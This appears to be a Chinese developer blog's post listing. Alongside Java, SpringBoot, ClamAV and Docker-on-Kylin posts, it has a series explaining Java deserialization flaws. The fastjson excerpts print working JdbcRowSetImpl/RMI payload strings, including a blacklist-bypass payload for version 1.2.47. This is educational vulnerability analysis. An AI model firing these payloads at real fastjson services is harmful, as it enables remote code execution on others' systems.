在 Java 里如何让方法只执行一次?

最近一年时间一直在写 Golang ,也算是对 Golang 有了初步的掌握,再次写 Java 的时候发现有点生疏了,写代码的时候也不自觉代入了写 Golang 的思维。 正如我想要在 Java 里面想让某一个方法只执行一次的时候,我第一时间想到了 Golang 里面的 Once 功能。 sync.Once 是 Golang 的一个并发原语,它提供了一种安全地在多个 goroutine 中执行某个函数(或代码块)一次的机制。 sync.Once 类型有一个 Do 方法,该方法接收一个函数作为参数,并确保这个函数只会被执行一次,无论有多少个 goroutine 同时调用它。具体来说,第一个调用 Do 方法的 goroutine 会执行这个函数,而其他 goroutine 则会等待它完成,然后返回相同的结果。 sync.Once 可以用于一些需要全局初始化的场景,比如初始化配置信息、数据库连接等。使用 sync.Once 可以确保这些初始化只会被执行一次,并且可以安全地被多个 goroutine 共享使用。 – 来自 ChatGPT 其实和单例模式差不多,但我想要的是让方法只执行一次,我魔改了一下,直接上代码吧。 package cn.typesafe.sync; import lombok.SneakyThrows; import java.util.concurrent.Callable; public class Once<T> { private volatile T t = null; @SneakyThrows public T doOnce(Callable<T> action) { if (t == null) { synchronized (this) { if (t == null) { t = action.call(); } } } return t; } } 单元测试 ...

四月 2, 2023 · 1 分钟 · dushixiang

SpringBoot 3.0.0尝鲜与Java打包原生二进制【一】

2022年11月24日 SpringBoot 正式发布了 3.0 版本,带来许多新的特性,但我最关心的还是Java打包成原生二进制,运行时不再依赖jre环境,运行Java程序将和Go程序一样方便。 升级至 SpringBoot 3.0.0 说是尝鲜,但是我不想再试着搞 hello world 那种啥都没有的东西了,找到我之前写的一个Java开源项目 kafka-map 拿他开刀。 kafka-map 本身是基于 SpringBoot 2.4.x 开发的,sqlite 存储数据,且很久没有大的更新了,想要直接升级到 SpringBoot 3.0.0 是不可能的,我按照官方文档 Spring Boot 3.0 迁移指南 首先升级到最新2.7.x版本,然后就发现 service 依赖循环了,这个时候有两种选择,一是在配置文件中允许依赖循环 spring.main.allow-circular-references: true,二是梳理业务逻辑解决依赖循环的问题。作为一个合格的开发,我选择了解决依赖循环的问题,过程不表。 SpringBoot 3.0.0 升级了很多组件,其中 Jpa 依赖的 Hibernate 升级到了 6.x,我启动时又遇到了 sqlite 方言插件不可用的问题,还好 Hibernate 6.x 已经支持了 sqlite方言,切换到官方插件就好了。配置文件如下: spring: datasource: url: jdbc:sqlite:data/kafka-map.db driver-class-name: org.sqlite.JDBC jpa: hibernate: ddl-auto: update show-sql: true properties: hibernate: dialect: org.hibernate.community.dialect.SQLiteDialect 原生二进制打包 打包原生二进制还是最折腾的,刚开始参考GraalVM Native Image Support 把打包 springboot:build-image 当成了打包原生二进制了,而且打包的过程中还遇到了 UnsupportedFeatureException: No instances of ch.qos.logback.classic.Logger 这个问题,找了一圈也没找到解决方案。 ...

十一月 26, 2022 · 1 分钟 · dushixiang

Linux 杀毒软件 ClamAV 安装

Clam AntiVirus(ClamAV)是免费而且开放源代码的杀毒软件,软件与病毒码的更新皆由社群免费发布。Github 地址:https://github.com/Cisco-Talos/clamav 安装 ClamAV yum install -y clamav* 配置 ClamAV cat > /etc/freshclam.conf <<EOF # 数据库配置文件夹 DatabaseDirectory /var/lib/clamav # 更新日志文件夹 UpdateLogFile /var/log/freshclam.log # 日志大小 LogFileMaxSize 2M # 日志记录时间 LogTime yes # 所属用户 DatabaseOwner root # 同步病毒库的地址 DatabaseMirror database.clamav.net EOF 更新病毒库 大概需要几分钟时间 freshclam 进行病毒扫描测试 clamscan -ri </path1/to/scan> </path2/to/scan> 常用配置说明 --recursive[=yes/no(*)] -r 递归查找 --infected -I 只打印受影响的文件信息 --remove[=yes/no(*)] 删除受影响的文件。(不建议使用,根据扫描结果进行手动删除,避免误删。) 配置邮箱 如果不需要邮件通知的可以忽略此步骤。 安装邮件服务 yum install -y mailx 修改配置 修改大写字母为你的邮箱配置 cat > /etc/mail.rc <<EOF set from=USERNAME@YOURDOMAIN.COM set smtp=smtps://smtp.exmail.qq.com:465 set smtp-auth=login set smtp-auth-user=USERNAME@YOURDOMAIN.COM set smtp-auth-password=YOURPASSWORD set ssl-verify=ignore set nss-config-dir=/etc/pki/nssdb/ EOF 发送邮件进行测试 echo "Your message" | mail -v -s "Message Subject" email@address 如果出现 “Error in certificate: Peer’s certificate issuer is not recognized” 属于正常。 ...

三月 7, 2022 · 1 分钟 · dushixiang

在银河麒麟高级服务器操作系统V10上安装docker

银河麒麟高级服务器操作系统 V10 是针对企业级关键业务,适应虚拟化、 云计算、大数据、工业互联网时代对主机系统可靠性、安全性、性能、扩展性和 实时性的需求,依据 CMMI 5 级标准研制的提供内生安全、云原生支持、国产 平台深入优化、高性能、易管理的新一代自主服务器操作系统;同源支持飞腾、 龙芯、申威、兆芯、海光、鲲鹏等自主平台;可支撑构建大型数据中心服务器高 可用集群、负载均衡集群、分布式集群文件系统、虚拟化应用和容器云平台等, 可部署在物理服务器和虚拟化环境、私有云、公有云和混合云环境;应用于政府、 国防、金融、教育、财税、公安、审计、交通、医疗、制造等领域。 公司有个项目需要将系统部署在 kylinos上,刚开始还有点头疼,害怕各种程序无法安装和使用,等安装好服务器进行使用的时候发现这不就是基于centos的嘛,虽然基于哪个版本不知道,但是可以测试的,于是我一顿操作,最后发现它是基于Centos8的,系统内核版本是 4.19,问题不大,既然是基于Centos8的,那Centos8上能跑的程序,在这肯定也能跑,然后我就开始了愉快(痛苦)的安装docker之旅了。 配置阿里云Centos8镜像源 之所以要配置 Centos8 的镜像源是因为在安装docker的时候需要额外的一些依赖,而这些依赖在麒麟官方的源里面是没有的。 curl -o /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-8.repo 配置阿里云 docker 镜像源 yum-config-manager --add-repo https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo sed -i 's+download.docker.com+mirrors.aliyun.com/docker-ce+' /etc/yum.repos.d/docker-ce.repo 定义 yum 变量&修改 repo 修改 centos 和 docker repo文件中的 $releasever 为 centos_version ,原因是在麒麟服务器操作系统V10中 $releasever被修改为了 10,而我们需要使用 centos 8的镜像源,如果你不替换,基本上仓库的每一个地址都是404。 echo "8" > /etc/yum/vars/centos_version sed -i 's/$releasever/$centos_version/g' /etc/yum.repos.d/docker-ce.repo sed -i 's/$releasever/$centos_version/g' /etc/yum.repos.d/CentOS-Base.repo 建立yum缓存 没啥可说的 yum makecache 查看docker-ce 版本 yum list docker-ce --showduplicates | sort -r docker-ce.x86_64 3:20.10.9-3.el8 docker-ce-stable docker-ce.x86_64 3:20.10.8-3.el8 docker-ce-stable docker-ce.x86_64 3:20.10.7-3.el8 docker-ce-stable docker-ce.x86_64 3:20.10.6-3.el8 docker-ce-stable docker-ce.x86_64 3:20.10.5-3.el8 docker-ce-stable docker-ce.x86_64 3:20.10.4-3.el8 docker-ce-stable docker-ce.x86_64 3:20.10.3-3.el8 docker-ce-stable docker-ce.x86_64 3:20.10.2-3.el8 docker-ce-stable docker-ce.x86_64 3:20.10.1-3.el8 docker-ce-stable docker-ce.x86_64 3:20.10.12-3.el8 docker-ce-stable docker-ce.x86_64 3:20.10.11-3.el8 docker-ce-stable docker-ce.x86_64 3:20.10.10-3.el8 docker-ce-stable docker-ce.x86_64 3:20.10.0-3.el8 docker-ce-stable docker-ce.x86_64 3:19.03.15-3.el8 docker-ce-stable docker-ce.x86_64 3:19.03.15-3.el8 @docker-ce-stable docker-ce.x86_64 3:19.03.14-3.el8 docker-ce-stable docker-ce.x86_64 3:19.03.13-3.el8 docker-ce-stable 安装docker 这里要安装 docker-ce 19.03 版本,因为我在使用最新版 20.10 启动容器时出现了未知的权限问题,而麒麟服务器操作系统资料相对较少,我未能找到相应的解决方案,只好退而求其次,换到上一个稳定版本。 ...

十二月 21, 2021 · 2 分钟 · dushixiang

Java 反序列化漏洞原理(六)fastjson 1.2.68 绕过原理

声明 本文章中所有内容仅供学习交流,严禁用于非法用途,否则由此产生的一切后果均与作者无关。 Fastjson <= 1.2.68 expectClass 绕过原理 当 fastjson 更新到 1.2.68 之后,大部分安全漏洞都已经封堵住了,但不排除还有人手里握着一些 0day 没有放出来。 fastjson 1.2.68 在进行反序列化的时候,会进入 ObjectDeserializer 的 deserialze 方法,而 安全人员发现 当 @type 为 java.lang.AutoCloseable 的时候会找到实现类 JavaBeanDeserializer 调用 deserialze,而 JavaBeanDeserializer 的 deserialze 方法还会继续解析得到第二个 @type 对应的值进行反序列化,并且 expectClass 则不再是 null 值,而是 java.lang.AutoCloseable。 JavaBeanDeserializer 的 deserialze 部分代码示例。 if (lexer.token() == JSONToken.LITERAL_STRING) { // 第二个 @type 的值 String typeName = lexer.stringVal(); lexer.nextToken(JSONToken.COMMA); if (typeName.equals(beanInfo.typeName)|| parser.isEnabled(Feature.IgnoreAutoType)) { if (lexer.token() == JSONToken.RBRACE) { lexer.nextToken(); break; } continue; } // 这里没有获取到 deserializer ObjectDeserializer deserializer = getSeeAlso(config, this.beanInfo, typeName); Class<?> userType = null; if (deserializer == null) { // 第一个 @type 的值 Class<?> expectClass = TypeUtils.getClass(type); // 在包含 expectClass 时会绕过 userType = config.checkAutoType(typeName, expectClass, lexer.getFeatures()); deserializer = parser.getConfig().getDeserializer(userType); } // 再次进行反序列化,会触发反射构造实例 Object typedObject = deserializer.deserialze(parser, userType, fieldName); if (deserializer instanceof JavaBeanDeserializer) { JavaBeanDeserializer javaBeanDeserializer = (JavaBeanDeserializer) deserializer; if (typeKey != null) { FieldDeserializer typeKeyFieldDeser = javaBeanDeserializer.getFieldDeserializer(typeKey); if (typeKeyFieldDeser != null) { typeKeyFieldDeser.setValue(typedObject, typeName); } } } return (T) typedObject; } ParseConfig 的 checkAutoType 部分代码示例,只要第二个 @type 继承了 第一个 @type 即可触发。 ...

十一月 6, 2021 · 5 分钟 · dushixiang

Java 反序列化漏洞原理(五)fastjson 1.2.47 绕过原理

声明 本文章中所有内容仅供学习交流,严禁用于非法用途,否则由此产生的一切后果均与作者无关。 Fastjson <= 1.2.47 POC 随着 fastjson 的更新,以往的安全漏洞都被封堵掉了,但道高一尺,魔高一丈,安全人员发现了一个通杀的漏洞,以往的封堵手段都可以绕过,算是一个里程碑的发现。 我们首先将 fastjson 升级到 1.2.47 版本,然后使用我们之前的POC进行测试。 import com.alibaba.fastjson.JSON; public class Eval3 { public static void main(String[] args) throws Exception { String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}"; JSON.parse(payload); } } 不出意料的话会出现这样的错误提示信息: autoType is not support. com.sun.rowset.JdbcRowSetImpl 这是因为 fastjson 使用了黑名单机制,禁止将 com.sun.rowset.JdbcRowSetImpl 反序列化。 下面我们使用新的 POC 进行测试,又可以利用成功了。 import com.alibaba.fastjson.JSON; public class Eval5 { public static void main(String[] args) throws Exception { String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}}"; JSON.parse(payload); } } payload 格式化之后如下: { "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://localhost:1099/Exploit", "autoCommit": true } } Fastjson <= 1.2.47 绕过原理 在学习绕过原理之前,了解 fastjson 的基本解析流程还是有必要的,我画了一张类图仅供参考,图中只画了主要流程,还有很多类没有画。 ...

十月 31, 2021 · 3 分钟 · dushixiang

Java 反序列化漏洞原理(四)JNDI + RMI/LDAP 在fastjson中的利用原理

声明 本文章中所有内容仅供学习交流,严禁用于非法用途,否则由此产生的一切后果均与作者无关。 JNDI 是什么 Java命名和目录接口(Java Naming and Directory Interface,缩写JNDI),是Java的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。 JNDI 包含在Java SE中,不需要引用第三方jar即可使用。要使用 JNDI 必须要有一个或多个服务提供者。JDK 本身已经包括了下面几种服务提供者。 轻量级目录访问协议 (LDAP) CORBA 公共对象服务命名(COS naming) Java 远程方法调用 (RMI) 域名服务 (DNS) 这么说起来还是有点抽象,简单理解就是服务提供者提供一个类似Key Value的数据,JNDI可以通过这个 Key 获取到服务提供者上的提供的Value,因此JNDI是无法单独使用的。 使用JNDI的方式也很简单,下面就是一个获取远程对象的示例代码。 // 创建一个上下文对象 InitialContext context = new InitialContext(); // 查找监听在本地 1099 端口上 RMI 服务的 Object 对象 Object obj = context.lookup("rmi://localhost:1099/Object"); RMI 是什么 RMI 是 Remote Method Invocation 的缩写,中文含义为远程方法调用,即一个Java程序调用调用另一个Java程序暴露出来的方法。 RMI 有三个概念: Registry : 提供服务注册和服务获取,服务端将类名称,存放地址注册到Registry中,以供客户端获取。 Server : 远程方法的提供者。 Client : 远程方法的调用者。 远程方法的定义需要满足两个条件: 实现 java.rmi.Remote。 继承 java.rmi.server.UnicastRemoteObject。 RMI 使用示例 Registry 创建 Registry ...

十月 30, 2021 · 6 分钟 · dushixiang

Java 反序列化漏洞原理(三)fastjson 1.2.24 Templateslmpl 利用原理

声明 本文章中所有内容仅供学习交流,严禁用于非法用途,否则由此产生的一切后果均与作者无关。 Fastjson 是什么 fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。 fastjson相对其他JSON库的特点是快。fastjson在阿里巴巴大规模使用,在数万台服务器上部署,fastjson在业界被广泛接受。在2012年被开源中国评选为最受欢迎的国产开源软件之一。 以上摘自Fastjson GitHub 介绍。 但近年来随着 Fastjson 不断爆出漏洞,各大中小型公司都逐渐弃用 Fastjson ,甚至阿里自己开源的服务注册、配置管理平台 NACOS 在 1.3.0 版本之后都从 Fastjson 替换为了 Jackson (详见 https://github.com/alibaba/nacos/releases/tag/1.3.0) ,可见漏洞危害之大。 为什么会弃用 Fastjson ? 想要研究一个产品的漏洞其中有一条很好的途径就是去查询 CVE 编号,但是我在检索之后发现 Fastjson 只有 CVE-2017-18349 这一条,而 Jackson 竟然有高达 76 条。 这能否证明 Fastjson 比 Jackson 更安全呢?答案并不是,都是半斤八两,有些 Fastjson 里面出现的漏洞在 Jackson 里面也同样存在。 那为什么会有公司弃用 Fastjson 呢? 或许是 Jackson 有更完善且公开的漏洞管理机制,或许是国外的月亮比较圆,或许是随大流,也或许是 Fastjson 代码质量不过关(知乎上有很多回答批判 Fastjson 代码糟糕的),真实原因就不得而知了。 尽管近年来有公司不断弃用 Fastjson ,但还有很多公司在使用,并且已经开发上线的系统想要替换或者升级 Fastjson 还需要时间,因此我们很有必要学习一下 Fastjson 漏洞的产因。 Fastjson 漏洞产生原因 Fastjson 第一次被爆出有漏洞是官方在2017年3月15日主动披露的,详见 https://github.com/alibaba/fastjson/wiki/security_update_20170315 。漏洞影响 1.2.24 以及之前的版本。我们今天来研究一下当 fastjson version <= 1.2.24 时漏洞是如何产生的。 ...

十月 21, 2021 · 5 分钟 · dushixiang

Java 反序列化漏洞原理(二)新版本JDK利用方式和Shiro举例

声明 本文章中所有内容仅供学习交流,严禁用于非法用途,否则由此产生的一切后果均与作者无关。 新的希望 0x00 在上一节中我们介绍了 Java 反序列化漏洞的成因和利用 commons-collections 3.1 搭配 sun.reflect.annotation.AnnotationInvocationHandler 实现远程命令执行的方式。但sun.reflect.annotation.AnnotationInvocationHandler 的问题已经在最新版 jdk 中修复,可利用范围仅能够局限于旧版本的jdk。经过安全人员的审计,另一个类 javax.management.BadAttributeValueExpException 出现在了安全人员的视野。 javax.management.BadAttributeValueExpException 继承自 java.lang.Exception,java.lang.Exception 继承自 java.lang.Throwable,而 java.lang.Throwable 实现了 java.io.Serializable。因此 javax.management.BadAttributeValueExpException 符合了 可序列化 这个要求,同样的它也增加了 readObject 方法,这个类的完整代码如下: package javax.management; import java.io.IOException; import java.io.ObjectInputStream; /** * Thrown when an invalid MBean attribute is passed to a query * constructing method. This exception is used internally by JMX * during the evaluation of a query. User code does not usually * see it. * * @since 1.5 */ public class BadAttributeValueExpException extends Exception { /* Serial version */ private static final long serialVersionUID = -3105272988410493376L; /** * @serial A string representation of the attribute that originated this exception. * for example, the string value can be the return of {@code attribute.toString()} */ private Object val; /** * Constructs a BadAttributeValueExpException using the specified Object to * create the toString() value. * * @param val the inappropriate value. */ public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString(); } /** * Returns the string representing the object. */ public String toString() { return "BadAttributeValueException: " + val; } private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null); if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { // the serialized object is from a version without JDK-8019292 fix val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } } } 小伙伴们可能会很迷茫,这要何从下手? ...

十月 16, 2021 · 7 分钟 · dushixiang

Java 反序列化漏洞原理(一)Serializable

声明 本文章中所有内容仅供学习交流,严禁用于非法用途,否则由此产生的一切后果均与作者无关。 序列化的定义 序列化是指将数据结构或对象状态转换成可取用格式,以留待后续在相同或另一台计算机环境中,能恢复原先状态的过程。依照序列化格式重新获取字节的结果时,可以利用它来产生与原始对象相同语义的副本。 Java 中的序列化 Java 自身提供了序列化的功能,需要实现 java.io.Serializable 接口,标明该对象是可序列化的。 java.io.Serializable 是一个空接口,不需要对象实现方法。 以下面这段代码为例,展示了一个对象的序列化和反序列化的过程。 import java.io.*; import java.nio.charset.StandardCharsets; import java.util.Base64; public class Eval0 { public static class Command implements Serializable { private String cmd; public String getCmd() { return cmd; } public void setCmd(String cmd) { this.cmd = cmd; } } public static void main(String[] args) throws Exception { // 定义一个对象 Command command = new Command(); command.setCmd("calc"); System.out.println("序列化前: " + command.getCmd()); // 将用户序列化为字节数组 ByteArrayOutputStream buffer = new ByteArrayOutputStream(); try (ObjectOutputStream outputStream = new ObjectOutputStream(buffer)) { outputStream.writeObject(command); } // 将字节数组进行base64编码,无论是通过网络或者是文件都可以发送到另一个系统进行反序列化 final String data = Base64.getEncoder().encodeToString(buffer.toByteArray()); System.out.println("序列化后: " + data); // 将base64编码的数据再解码为字节数组 final byte[] bytes = Base64.getDecoder().decode(data.getBytes(StandardCharsets.UTF_8)); // 将字节数组反序列化为对象 ByteArrayInputStream b = new ByteArrayInputStream(bytes); try (ObjectInputStream input = new ObjectInputStream(b)) { final Command obj = (Command) input.readObject(); System.out.println("反序列化: " + obj.getCmd()); } } } 运行后输出: ...

十月 14, 2021 · 7 分钟 · dushixiang